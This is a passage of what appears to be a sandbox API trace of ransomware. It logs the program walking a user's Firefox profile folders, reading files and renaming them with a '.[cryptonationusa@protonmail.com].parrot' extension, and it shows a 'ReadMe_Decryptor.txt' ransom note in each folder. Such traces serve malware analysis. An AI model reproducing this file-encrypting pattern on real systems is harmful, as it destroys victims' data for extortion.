ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F", cAlternateFileName="")) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1853ec0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc1853ec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1d16ac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0088.086] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.087] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.087] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.087] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.087] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.087] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc399b820, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 1 [0088.088] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.088] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.089] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.089] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x40000, lpOverlapped=0x0) returned 1 [0088.104] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.114] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.124] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.124] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1d62d80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1d62d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.124] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc1d62d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x40128, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.sqlite.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="INDEXS~1.PAR")) returned 1 [0088.124] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.137] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.137] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.137] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.137] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.137] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x825fd7f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x825fd7f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x825fd7f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.cache", cAlternateFileName="TEST-M~1.CAC")) returned 1 [0088.138] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.138] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.139] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.139] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x2c, lpOverlapped=0x0) returned 1 [0088.139] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.140] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.142] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0088.142] CloseHandle (hObject=0x278) returned 1 [0088.142] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82376090, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82376090, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82376090, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.sbstore", cAlternateFileName="TEST-M~1.SBS")) returned 1 [0088.142] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.142] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.143] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.143] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xe8, lpOverlapped=0x0) returned 1 [0088.144] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.144] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.147] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.148] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.148] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.148] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x2c, lpOverlapped=0x0) returned 1 [0088.149] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.149] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.151] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0088.151] CloseHandle (hObject=0x278) returned 1 [0088.152] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82649ab0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82649ab0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82649ab0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 1 [0088.152] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.152] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.153] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.153] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xe8, lpOverlapped=0x0) returned 1 [0088.153] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.153] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.157] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.157] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc1daf040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1daf040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1daf040, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc1daf040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1dd51a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0088.157] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.158] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.158] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.158] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.158] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.158] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x854b47b0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe59f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache.4.little", cAlternateFileName="STARTU~1.LIT")) returned 1 [0088.159] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.159] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.160] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.160] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe59f6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xe59f6, lpOverlapped=0x0) returned 1 [0088.196] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.232] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\startupcache.4.little"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\startupcache.4.little.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.287] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.287] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc1f05ca0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1f05ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.287] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1e93880, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc1e93880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1f05ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0088.287] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.290] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.290] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.290] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.290] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.290] 